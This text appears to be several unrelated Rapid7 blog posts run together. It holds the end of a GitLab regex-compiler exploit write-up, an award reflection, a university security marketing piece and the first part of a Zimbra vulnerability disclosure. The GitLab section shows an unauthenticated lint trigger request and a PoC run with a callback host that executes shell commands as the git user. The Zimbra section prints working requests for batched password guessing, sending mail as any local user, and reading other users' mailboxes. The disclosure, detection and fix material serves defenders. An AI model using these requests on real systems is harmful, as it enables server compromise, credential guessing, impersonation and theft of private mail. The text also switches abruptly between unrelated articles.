The | immediately after {5(?#)7805} makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this | into two pcode branches. An OP_PUSH near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the OP_JUMP emitted after the giant first alternative by the alternation compiler:

/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg->used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg->used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}

The jump at [14] should skip the empty alternative and land at the end of the alternation. The compiler calculated pos from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of -136, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.

From character-class bitmap to system()

The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by character_class() as VM instructions, starting the sequence shown here.

The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and FinishCode, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside libruby.

The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered libruby pointer to a short instruction sequence that passes the path command to system(), then writes that address into match_at()'s native return slot. When the matcher finishes, execution returns through the overwritten slot. FinishCode and the call site are in the same libruby mapping, so the distance between them stays constant under ASLR.

Exploitation

Delivering the branch through CI lint

Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The GET form accepts an attacker-selected content_ref, loads .gitlab-ci.yml from that commit, and evaluates it:

GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example

The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:

get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end

Public visibility makes authorize_read_code! at [17] succeed without credentials, while the condition at [18] does not reject an absent current_user. The selected branch becomes the static linter's input through [19] and [20], without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.

Running a command

The initial Python PoC clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

HTTP 502 is expected. The command runs synchronously in a Puma worker. After system() returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.

The target-specific values in this PoC, such as SYSTEM_STEP_COUNT, the number of UTF-8 backward steps from FinishCode to the libruby system() call site, match official GitLab CE 19.4.1 on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and libruby offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.

The fix

GitLab's Ruby backport replaces the multiplication at [12] with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:

/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) <= 0 || (tlen) <= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)

On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.

Detection guidance

For the exploitation strategy described in this analysis, correlate:

1. /var/log/gitlab/gitlab-workhorse/current: a several-second GET /api/v4/projects/<project>/ci/lint?content_ref=<ref>, badgateway: failed to receive response: EOF, and HTTP 502.

2. A Puma worker crashes or restarts at the same time; any saved trace contains regexp_matcher.rb.

3. The referenced commit: an (?#)-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.

A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.

Mitigation guidance

Self-managed GitLab customers should upgrade to the fixed patch for their release: 19.2.8, 19.3.5, or 19.4.2. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.

Please read GitLab's critical patch release for the latest guidance.

Virus Bulletin created the award to honor Péter's life and work, and it recognizes outstanding technical security research: the rigorous, the deep, and the useful – exactly what he was known for himself. And as far as recognitions in our industry go, it's hard to top. I'm extremely proud.

What the Pèter Szőr Award means to us

I knew Péter, and early in my career, I learned from him. This was back when malware analysis meant staring at assembly, arguing about what a routine really did, and realizing hours later that your first theory was wrong. One memory came straight back when I heard about the award: going through Stuxnet together. For anyone in research at the time, that was the moment you knew the game had changed. Engineering, tradecraft, espionage and physical-world consequences, all in one package.

What stayed with me wasn't how much Péter knew, but rather his curiosity. He wanted to understand things, and then once he did, he wanted everyone else to understand too. Plenty of brilliant people in cybersecurity keep it to themselves, but the ones who leave a legacy make the people around them better.

Receiving an award that carries his name felt like one of those full-circle moments. 

The research behind the award

The original research from Rapid7 Intelligence emerged after months of investigating stealthy access inside telecommunications environments. This wasn't malware dropped during a conventional intrusion, but long-term strategic positioning: passive backdoors, kernel-level capabilities and covert access, quietly settled into critical infrastructure and in no hurry whatsoever.

Telecom networks carry our communications, our identities and, increasingly, everything governments and businesses run on. So when an adversary sets up camp there, the impact goes well beyond one compromised machine or one unlucky company.

Virus Bulletin's community nomination noted that the work paired deep technical investigation with real-world impact, including long hours with agencies and CERTs around the world and tools, scripts, intelligence and detection capabilities for defenders. That's the part I'm happiest about, as this wasn't research for publication alone. Remember that a PDF has never stopped an intrusion.

Publishing research is a checkpoint, not the finish line

We're still doing the research. Since the original report, Rapid7 Intelligence has analyzed hundreds more samples, found previously undocumented BPFDoor variants, and tracked changes in the operators' tradecraft. Our follow-up work covered new httpShell and icmpShell variants built to make detection even harder. In further publications, we went beyond BPFDoor to additional Linux implants and infrastructure targeting telecom and network-edge environments, including AVERAT and techniques that hide in ordinary-looking traffic like SMTP. 

That's how this work goes. You find something, you share it, someone sends you another sample, a CERT spots something in their environment, an analyst notices the one odd function nobody looked at twice, and you're back down the rabbit hole. Anyone who thinks an initial report is the finish line has never received "just one more sample" at 4 p.m. on a Friday.

And truthfully, I also love that this happens in the open. From the outside, our industry looks like a cage match over attribution, naming conventions and whose acronym is cooler. But when something truly matters, researchers, vendors, CERTs and governments put that aside and share, because protecting people beats winning the naming argument.

This award belongs to the team: Rapid7 Intelligence

Research like this never belongs to just one or two people. It belongs to the analysts still staring at code after everyone else has gone home, the people who question an assumption because something doesn't add up, the people that keep the show running, and the detection engineers who turn findings into something defenders can use. It also belongs to the people collecting samples, maintaining infrastructure and correlating intelligence, and to the CERTs, agencies and peers who trusted us enough to share what they saw.

I'm proud of the Rapid7 Intelligence team, and not because of the trophy. I'm proud of why we got it: we took a hard problem, did the hard work, and then tried to make the result useful to someone else.

To the next generation of research

Today, the conversation has evolved to include autonomous agents, AI-generated malware and machine-speed attacks. Tomorrow it'll be something new. My motivation stays the same: I want to leave the digital world a little safer for the generations that come after us.

Somewhere right now, a young researcher is opening a debugger for the first time and wondering how on earth the thing works. Someone will investigate the Stuxnet of their generation, and someone will eventually sit in the chair I'm in now. Our job isn't just to detect today's attacks. It's to share what we learn, build tools, mentor people and make sure they start a few steps ahead of where we did.

Péter did that for our industry, and he did it for me.

Thank you to Virus Bulletin and our peers in the security community for this recognition, to everyone who contributed to the research, publicly or behind the scenes, and to Péter, who taught a young malware researcher that taking things apart is only half the job. The other half is making sure somebody else can learn from what you found.

This final part is about what changes when a university system starts treating security as a shared capability rather than a collection of separate campus programs. Multi-campus institutions still need to preserve local autonomy, but they also need enough visibility across the wider organization to understand where risk sits, how an incident is spreading, and whether the same problem is appearing elsewhere.

That balance is especially relevant in higher education, where campuses, research environments, health services, and administrative teams often operate with very different technology needs and levels of independence.

Security architecture should reflect how universities actually operate

Most university systems are already federated organizations, with individual campuses managing their own leadership, budgets, users, and technology environments while a central office provides governance and oversight across the wider institution.

Security architecture can follow the same model. With multi-tenancy in the Rapid7 Command Platform, a central security team can maintain visibility across the university system while individual campuses continue to operate within their own environments. Campus-level data and access remain separated, while the central team can identify wider patterns, coordinate response, and distribute common workflows across the system.

A new attack pattern detected at one campus, for example, should not have to remain a local discovery. Shared visibility and coordinated workflows can help the central team determine whether the same activity is appearing elsewhere and make relevant response guidance available across the institution without exposing one campus's data to another.

As the university system grows, that model can expand with it. A system operating three campuses today can add new environments without redesigning the security architecture each time.

Shared visibility makes cross-campus response faster

A central view of the attack surface can reduce much of the manual work that happens when university teams need to answer a system-wide security question.

If a significant zero-day is disclosed, the central security team needs to know which campuses are running affected systems, which have already remediated the vulnerability, and where attention is still required. In a decentralized environment, gathering that information can mean emails, calls, spreadsheets, and separate conversations with each campus. A shared view of assets and vulnerabilities gives teams a faster way to establish where the exposure exists.

During an active incident, the same cross-campus visibility can help investigators work out whether suspicious activity first appeared at Campus C because the compromise began there, or because that is simply where it became visible. It also allows them to check whether the same indicators are present at Campus A or Campus B before each team starts investigating independently.

Universities also have large external attack surfaces that can be difficult to inventory centrally. Student portals, APIs, research servers, faculty websites, and other internet-facing assets may be created outside normal IT processes. Rapid7's Project Sonar continuously scans the public internet, helping organizations identify externally exposed services and assets that internal inventories may have missed.

Vulnerability prioritization needs more than a severity score

University security teams rarely have the capacity to remediate every vulnerability at once, so prioritization has to reflect how likely an exposure is to be used in a real attack.

Rapid7 combines vulnerability data with attacker intelligence, including insight from Metasploit, our open source penetration testing framework used by security professionals to test and validate real-world exploits, with more than 3,000 exploit modules.

That intelligence is combined with insight from AttackerKB, incident response engagements, honeypots, and other threat intelligence sources, giving teams additional context around whether an exploit exists, whether exploitation has been observed, and how difficult a vulnerability may be to use in practice.

For a university working through thousands of findings across multiple campuses, that context can help teams direct limited remediation capacity toward exposures with stronger evidence of attacker interest rather than relying on severity scores alone.

Incident response has to work across campus boundaries

The compliance requirements discussed in Part 2 put added pressure on investigation speed, particularly when legal or compliance teams need to establish whether regulated student, financial, health, or research data was accessed across more than one campus.

Rapid7's open source Velociraptor platform can collect forensic artifacts and run live investigations across thousands of endpoints simultaneously. In a multi-campus university, that could allow investigators to determine whether the same activity or data access occurred across several environments without conducting each investigation separately.

Automated response workflows can also be distributed across affected campus environments, allowing teams to isolate compromised systems, revoke credentials, or block indicators consistently rather than repeating the same response manually at each institution.

Campuses with smaller security teams benefit from that shared capability because the quality and speed of response are less dependent on how many people happen to be available locally when an incident occurs.

Consolidation can return time to stretched security teams

The operational case for a shared security model also comes down to the amount of work created by fragmentation. Separate campus tools mean separate licenses, integrations, training requirements, renewals, reporting processes, and vendor relationships, all of which consume time that understaffed security teams could be spending elsewhere.

The source material for this series includes an example of one organization recovering 96 hours per month by reducing manual work across disparate security tools. It also cites an average 74% improvement in mean time to detect where unified visibility and threat correlation were applied. For higher education teams working within tight regulatory reporting windows, the difference between finding an incident in hours rather than days can have a direct impact on how quickly the institution can assess scope and respond.

A system-wide agreement can also reduce the number of contracts, renewal cycles, and vendor relationships that central and campus teams need to manage, while allowing security capabilities to scale as the institution adds campuses, devices, and cloud services.

Building security around the university as a whole

Multi-campus universities will always have different technology needs across individual campuses, research environments, health services, and administrative functions. A connected security model does not require those environments to operate identically, but it does give central and local teams a better way to understand shared risk, coordinate investigations, and apply consistent response when an issue extends beyond a single campus.

Across this series, the same pattern has appeared from different angles. Threats move across organizational boundaries, regulated data rarely sits neatly within one campus, and the people responsible for protecting university systems are already working with limited time and resources. Bringing more of that security context together can help teams respond faster, share intelligence more effectively, and reduce the manual work created by disconnected tools and processes.

Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at rapid7.com/sled.

During a broader assessment of Zimbra Collaboration Suite (ZCS), Rapid7 reported more than 80 vulnerabilities spanning authentication, mailbox authorization, calendar processing, web clients, document services, and the host operating system. The affected components are being fixed on different schedules, so we are publishing the analysis in stages. An accompanying GitHub repository containing full write-ups and PoCs serves as a live technical tracker, and will be updated as further findings and fixes become public.

This first article concentrates on five account-related vulnerabilities:

Part 2 will cover unauthenticated stored XSS paths in the Classic and Modern clients and what they can do with the recipient's session. A script can install the Sieve forwarding rule (CVE-2026-50055); another path preserves direct mailbox access after the original session expires or the victim changes their password. CVE-2026-73571 makes these attacks more credible by placing the message in the mailbox as any chosen local user.

Parts 3 and 4 move through the document-service boundary from SSRF to code execution as zimbra, then cover multiple independent paths from zimbra to root. The BruCON presentation, Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure, previewed these chains, including selected root-command output returned to the victim's browser after one message selection.

Product description

Zimbra Collaboration Suite is a self-hosted platform for email, calendars, contacts, tasks, and file sharing. Zimbra calls its commercial server Network Edition. Within one Network Edition installation, customers can license a mixture of Standard and Professional users. Zimbra Desktop and Zimbra Connector for Outlook are separate client applications, while Exchange Web Services (EWS) is a separately licensed server feature for Outlook compatibility.

ZCS includes two webmail clients with different request and rendering stacks: Classic relies primarily on SOAP, while Modern uses GraphQL. The server also accepts SMTP and iCalendar input, exposes compatibility services such as EWS, and delegates work to local components running under several operating-system identities.

Testing setup

Rapid7 initially assessed ZCS 10.1.16_GA_4850 Network Edition on Ubuntu 22.04. For fixed findings, each section describes Zimbra's fix and the accompanying Github repository retains the complete vulnerable-to-fixed diff.

Impact

The pre-authentication findings lower separate barriers to obtaining a foothold. GraphQL hides failed password attempts from Zimbra's source-IP counter. In the configured external-LDAP case, a second flaw can also leave the optional account-lockout policy with no local account to lock.

Each remaining finding is independently exploitable from an ordinary compromised account. Email impersonation needs no optional feature: the attacker places a different local address in an authenticated request. Zimbra submits the message from that account through the trusted outbound pipeline and records a copy in the selected user's Sent folder.

If EWS is enabled for the compromised account, the attacker can read private conversations, attachments, drafts, sent mail, contacts and calendar entries from other users' mailboxes. A separate Sieve policy bypass can keep copies of future mail flowing to the attacker after the original session expires or the password changes.

These examples do not represent everything an attacker can do with authenticated Zimbra access, or the full vulnerability set from the assessment.

GraphQL authentication rate-limit bypass (CVE-2026-93637)

This pre-authentication route requires only HTTPS access to Zimbra. ZimbraInvalidLoginFilter normally records failed logins by source address around requests to the public service endpoints. Classic submits login attempts through the SOAP AuthRequest path, whereas Modern exposes the same password check through its GraphQL authenticate mutation.

That limiter's failure threshold is 10 by default, and after a source crosses it within the configured window, subsequent requests handled by the filter receive HTTP 503. CVE-2026-93637 allows attempts through GraphQL to remain invisible to that counter.

Technical analysis

The failure counter relies on a request attribute

ZimbraInvalidLoginFilter wraps requests to the public service endpoints and runs the downstream handler before its counter logic:

// ZimbraInvalidLoginFilter.doFilter()
// ... whitelist, disabled-filter and existing-suspension handling omitted
chain.doFilter(request, response);
if (req.getAttribute(AUTH_FAILED) != null) { // [0] wrapper-supplied signal
    // ... logging omitted
    boolean loginFailed = (Boolean)req.getAttribute(AUTH_FAILED);
    if (loginFailed) {
        // ... per-IP counter lookup and initialization omitted
        if (count.incrementAndGet() > this.maxFailedLogin) {
            this.numberOfFailedOccurence.put(clientIp, count);
            this.suspiciousIpAddrLastAttempt.put(
                clientIp, System.currentTimeMillis());
        }
        this.numberOfFailedOccurence.put(clientIp, count);
    }
    // ... final debug logging omitted
}

At [0], failure processing begins only if the downstream path added auth.failed to the request. The relevant SOAP exception path is:

// SoapEngine.dispatchRequest()
// ... earlier dispatch handling omitted
catch (AccountServiceException.AuthFailedServiceException e) {
    HttpServletRequest httpReq = (HttpServletRequest)context.get("servlet.request");
    httpReq.setAttribute("auth.failed", (Object)Boolean.TRUE); // [1] failure becomes visible
    String clientIp = (String)context.get(REQUEST_IP);
    httpReq.setAttribute(REQUEST_IP, (Object)clientIp);
    response = soapProto.soapFault((ServiceException)e);
    // ... debug and informational logging omitted
}

At [1], SoapEngine.dispatchRequest() sets the attribute before returning the authentication fault. A failed SOAP login therefore reaches the check at [0] and increments the source-IP counter.

GraphQL skips the SOAP failure handler

Modern Zimbra's GraphQL extension builds an ordinary AuthRequest, then reaches its handler through XMLDocumentUtilities.executeDocumentAsGuest():

// XMLDocumentUtilities.executeDocumentAsGuest()
public static Element executeDocumentAsGuest(DocumentHandler handler,
        Element request, RequestContext rctxt) throws ServiceException {
    HashMap<String, Object> context = new HashMap<String, Object>();
    context.put("zimbra.context",
        GQLAuthUtilities.getGuestZimbraSoapContext(request.getQName(), handler, rctxt));
    context.put("servlet.request", rctxt.getRawRequest());
    context.put("servlet.response", rctxt.getRawResponse());
    return handler.handle(request, context); // [2] bypasses SoapEngine
}

At [2], the helper calls the authentication handler without passing through SoapEngine. An incorrect password still becomes a GraphQL error, but the catch block at [1] never runs. The attribute read at [0] is absent, so the filter does not increment the source-IP counter.

Exploitation

Batched authentication

An unauthenticated client sends JSON to /service/extension/graphql. GraphQL aliases let its query field invoke authenticate repeatedly with different passwords:

mutation {
  a0: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass0"}) { authToken }
  a1: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass1"}) { authToken }
  a2: authenticate(authInput: {account: {accountBy: name, key: "victim@example.test"}, password: "pass2"}) { authToken }
}

Each alias performs a real authentication operation. Failures appear in the GraphQL errors array, while a successful alias returns an authentication token under its corresponding name. The GraphQL engine imposes no application-level alias limit on this path. The whole document remains one HTTP request, so Jetty's request-count control sees one request rather than the number of login operations inside it.

Alias execution is sequential and backend-bound, so the rate depends on the deployment. Using 100 aliases per request, 10,000 candidates completed in under two minutes without the Zimbra IP counter or Jetty's request filter blocking the source. The vulnerability removes IP-level failed-login accounting and reduces request overhead.

The CVE-2026-93637 PoC accepts an ordinary password file, generates the batched GraphQL documents and reports the accepted candidate.

Per-account lockout

The IP counter is not Zimbra's only possible control. Its separate per-account lockout policy is disabled by default, but when enabled, failed GraphQL operations still increment the target local account's counter and stop further guessing when that account locks.

CVE-2026-93635 and external LDAP

On domains configured with external LDAP search-filter authentication and lazy auto-provisioning, CVE-2026-93635 turns the login field into a password oracle for an external directory user. LdapUtil.computeDn() substitutes a wildcarded login such as jdoe*@example.test into the configured filter without escaping it. If that pattern selects one directory entry, Zimbra tries the candidate password against that user. An incorrect password returns account.AUTH_FAILED; a correct password passes the LDAP bind and reaches lazy provisioning, producing a different response.

The wildcarded login is not the name of an existing local Zimbra account, so the optional per-account lockout has no account against which to record the failed attempt. Sending the same operation through GraphQL also avoids the source-IP counter. With per-account lockout enabled and its threshold set to five, repeated wrong candidates incremented neither counter, while a correct password remained distinguishable. This two-bug composition applies only to the stated external-LDAP configuration, not Zimbra's default local-authentication path.

The LDAP/GraphQL composition PoC and CVE-2026-93635 tracker entry cover this configured external-directory path in detail. The CVE-2026-93637 tracker entry records the standalone finding and affected-version evidence.

Impact

Anyone who can reach the public GraphQL endpoint can make repeated password guesses without triggering Zimbra's source-IP suspension. Batching several candidates also reduces the number of HTTP requests and the associated network overhead. This makes weak, reused or previously exposed passwords more practical to test, but it does not reveal a strong password or bypass a separate MFA check.

Email impersonation via SaveDraftRequest (CVE-2026-73571)

SaveDraftRequest has a delegated-sending path selected by isDelegatedReq. On a vulnerable server, an ordinary user can place another local address in the request's From field. The handler resolves that address to its mailbox, assumes the mailbox owner's authority and calls Zimbra's normal send routine without checking whether the signed-in account has send-as rights. This is an application authorization failure, not a forged display name or a hand-written SMTP header: Zimbra submits the attacker's message as the selected account and adds the corresponding item to that account's Sent folder.

The target must be on the same mailbox server, but the attack requires no optional Zimbra feature, existing delegation, administrator right or victim action.

Technical Analysis

Claimed sender becomes mailbox authority

After the request parser extracts the From address, the delegated branch resolves that address to a local account and reads an optional delegateeAccountId:

// SaveDraft.handle() excerpt
// ... message fields, From address and delegation attributes parsed above
if (mailAddress != null) {
    delegatorAccount = prov.get(
        Key.AccountBy.name, mailAddress, zsc.getAuthToken()); // [0] account named by From
}
if (isDelegatedReq) {
    delegatorMbox = MailboxManager.getInstance()
        .getMailboxByAccountId(delegatorAccount.getId());
    Account delegateeAccount = null;
    OperationContext oct = null;
    if (delegateeAccountId != null) {
        delegateeAccount = prov.getAccountById(delegateeAccountId);
        oct = new OperationContext(delegateeAccount); // [1] supplied account context
    } else if (delegatorMbox != null) {
        oct = new OperationContext(delegatorMbox); // [2] claimed sender context
    }
    if (oct != null && delegatorMbox != null) {
        mm = ParseMimeMessage.parseMimeMsgSoap(
            zsc, oct, delegatorMbox, msgElem, null, mimeData);
        boolean deliveryReport = false;
        // ... optional delivery-report update omitted
        SendMsg.doSendMessage(oct, delegatorMbox, mm, mimeData.uploads,
            null, "r", null, null, false, false, false, deliveryReport); // [3] platform delivery
    }
    // ... response construction omitted
}

There is no checkRight(), canAccessAccount(), or canSendAs() call between resolving the account at [0] and delivery at [3]. In the demonstrated request, delegateeAccountId is absent. At [2], Zimbra constructs the operation context from the mailbox named in From, causing the later send to treat the selected account as the caller. [3] then submits the message through Zimbra's legitimate sending path.

There is a second way to trigger the flaw. The attacker can supply the claimed sender's account UUID in delegateeAccountId. At [1], Zimbra constructs the operation context directly from that account and reaches the same impersonation result without checking the identity that was actually signed in.

Exploitation

Sending as a local identity

The relevant SaveDraftRequest body is:

<SaveDraftRequest xmlns="urn:zimbraMail" isDelegatedReq="1">
  <m>
    <e t="t" a="recipient@example.test"/>
    <e t="f" a="ceo@example.test"/>
    <su>Updated payroll review</su>
    <mp ct="text/plain"><content>Please review the changes.</content></mp>
  </m>
</SaveDraftRequest>

Because Zimbra submits the message through its legitimate infrastructure, the issue goes beyond display-name spoofing. On a deployment whose legitimate outbound mail passes SPF, DKIM, and DMARC, the impersonated message passes them too: it uses the same source MTA, signing domain, RFC sender, and envelope sender as legitimate mail from the selected account. Local testing confirmed that sender alignment and normal MTA path.

The CVE-2026-73571 PoC submits the delegated request with an operator-selected sender, recipient, subject and message body. On the affected build, the message arrived with the CEO as its RFC sender, and the same subject appeared in the CEO's Sent folder.

Impact

An attacker can impersonate any local user, not only an administrator or executive. Internally, that allows believable payment requests, changes to account details, malicious links, false instructions and fraudulent approvals. Normal display-name spoofing warnings and external-sender banners do not help because Zimbra submits the message as the selected local user.

Zimbra also places the forged message in the impersonated user's Sent folder. This leaves a fabricated record of authorship and can support an attempt to frame that user.

For external recipients, the attacker can send from a finance account to request new payment details, use an operations account to cancel or alter an order, or send scams and abusive mail under an employee's address. The consequences depend on the role and relationships of the selected sender.

The same trusted-delivery advantage applies to exploit-bearing mail. The next article will examine browser-side findings that an attacker can deliver from any chosen local account. Impersonation is not required for the XSS itself, but can make the message appear to come from somebody the recipient trusts.

Fix

The patch in ZCS 10.1.17 retains the account that actually signed in unless it has an explicit send-as or send-on-behalf-of right. An unauthorized delegated request consequently runs as the caller rather than the account named in the message.

EWS cross-user mailbox access (CVE-2026-10631)

Zimbra's EWS extension uses composite folder IDs intended for shared-mailbox operations. FindItem trusts the owner UUID inside an attacker-supplied ID and constructs the authorization context from the selected mailbox instead of the account that signed in. This Insecure Direct Object Reference (IDOR) lets any ordinary EWS-enabled account read complete items from other users' mailboxes without a share or delegation grant.

The attacker needs zimbraFeatureEwsEnabled=TRUE. Although disabled by default, deployments using Zimbra's Outlook desktop integration commonly enable EWS class-of-service-wide. The target account does not need EWS enabled, and no target-user action is required.

Technical analysis

Composite IDs select the mailbox

To address a shared item, EWS needs to identify both the mailbox that owns it and the item or folder inside that mailbox. Zimbra encodes this as {ownerUUID}_{numericId}. For example:

5e05e6e2-8810-4c2a-a7ac-3771df62e344_2
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^
              owner UUID             +-- folder 2 (Inbox)

When FindItem receives a composite ID, FolderUtil.parseItemId() separates the owner and numeric portions. The owner value is then passed to ItemUtil.getGrantorMailbox():

// ItemUtil.getGrantorMailbox()
public static Mailbox getGrantorMailbox(String ownerId) throws ServiceException {
    Provisioning prov = Provisioning.getInstance();
    Account ownerAcct = prov.get(Key.AccountBy.id, ownerId); // [0] supplied owner UUID
    Mailbox mailboxOwnr = MailboxManager.getInstance()
        .getMailboxByAccount(ownerAcct); // [1] selected mailbox
    return mailboxOwnr;
}

At [0], EWS resolves the supplied owner UUID to a local account; [1] retrieves that account's mailbox. Neither method receives the caller's identity.

The mailbox becomes the authenticated identity

The authenticated account and selected mailbox are then passed to ItemOperation:

// ItemOperation.ItemOperation()
public ItemOperation(Account account, Mailbox mailbox, ZimbraAuth zimbraAuth)
        throws ServiceException {
    this.account = account; // [2] authenticated attacker
    this.mailbox = mailbox; // [3] selected owner's mailbox
    this.octxt = mailbox == null
        ? new OperationContext(account)
        : new OperationContext(mailbox); // [4] selected owner context
    this.zimbraAuth = zimbraAuth;
    this.octxt.setUserAgent(zimbraAuth.getUserAgent());
}

[2] is the attacker account. Supplying a victim UUID makes [3] the victim mailbox, so it is not null. [4] therefore creates OperationContext from the victim mailbox instead of the attacker account.

// OperationContext constructors
public OperationContext(Mailbox mbox) throws ServiceException {
    this(mbox.getAccount()); // [5] target mailbox owner
}

public OperationContext(Account acct) {
    this(acct, false);
}

public OperationContext(Account acct, boolean admin) {
    this.authuser = acct; // [6] identity used for permission checks
    // ... remaining context initialization omitted
}

[5] extracts the victim account from that mailbox, and [6] stores the victim as the authenticated user. The mailbox then compares this identity with its owner:

// Mailbox.getAuthenticatedAccount()
Account getAuthenticatedAccount() {
    // ... context and authenticated-user lookup omitted
    if (authuser != null && authuser.getId().equals(this.getAccountId())) {
        authuser = null; // [7] matching identity is treated as owner access
    }
    return authuser;
}

The identities match, so [7] changes the authenticated user to null, which downstream checks treat as owner access. The attacker's request is consequently authorized as the victim. EWS has used the untrusted owner UUID both to select a mailbox and to decide who is authenticated. The numeric folder ID is subsequently resolved within that owner context, allowing FindItem to access any folder in the selected mailbox.

Exploitation

Resolving a target mailbox

A target UUID is available through ordinary authenticated directory lookups. Both GetAccountInfoRequest and SearchGalRequest return zimbraId for a known local address. The PoC uses GetAccountInfoRequest:

<GetAccountInfoRequest xmlns="urn:zimbraAccount">
  <account by="name">victim@example.test</account>
</GetAccountInfoRequest>

The response contains the target's UUID:

<attr name="zimbraId">5e05e6e2-8810-4c2a-a7ac-3771df62e344</attr>

Appending _2 to the UUID forms the target's Inbox identifier. The attacker sends the following EWS request to /service/extension/zimbraews, or to /EWS/Exchange.asmx when EWS is exposed through Zimbra's standard proxy:

<m:FindItem Traversal="Shallow"
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
  <m:ItemShape>
    <t:BaseShape>AllProperties</t:BaseShape>
    <t:IncludeMimeContent>true</t:IncludeMimeContent>
  </m:ItemShape>
  <m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="End"/>
  <m:ParentFolderIds>
    <t:FolderId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_2"/>
  </m:ParentFolderIds>
</m:FindItem>

The server returns the selected mailbox's data in the EWS response:

<ns2:Message xmlns:ns2="http://schemas.microsoft.com/exchange/services/2006/types">
  <!-- Complete base64 MIME and other returned fields omitted. -->
  <ns2:ItemId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_380" ChangeKey="600"/>
  <ns2:Subject>Project Phoenix acquisition timeline</ns2:Subject>
  <ns2:Body BodyType="Text">The target accepted the preliminary terms.
    Board approval is due Friday. Keep this strictly confidential.</ns2:Body>
  <ns2:HasAttachments>true</ns2:HasAttachments>
  <ns2:From><ns2:Mailbox>
    <ns2:EmailAddress>finance@northbridge.example</ns2:EmailAddress>
  </ns2:Mailbox></ns2:From>
  <ns2:InternetMessageId><20261005150023.563F6400B9@mail.lab.local></ns2:InternetMessageId>
</ns2:Message>

The CVE-2026-10631 PoC obtains that UUID and creates the composite ID automatically.

Cross-account folder reads

Changing the numeric component selects another well-known folder:

If the target mailbox is on another server in the same Zimbra cluster, the first server forwards the crafted request. The receiving server resolves its local mailbox from the same owner UUID and reaches the vulnerable FindItem constructor.

The CVE-2026-10631 tracker entry covers the full response, affected folders and multi-server path in detail.

Impact

EWS exposes the victim's private message bodies and attachments, as well as drafts, sent mail, contacts and calendar data. The attacker can monitor conversations and use their history to make the separate impersonation attack more credible.

An attacker can also request a password reset for another service, monitor the corresponding mailbox and consume the link. EWS does not bypass third-party MFA by itself, but it exposes an email channel that many services still treat as sufficient proof. Because the owner UUID is attacker-selected, the same ordinary EWS account can repeat these reads against other local mailboxes.

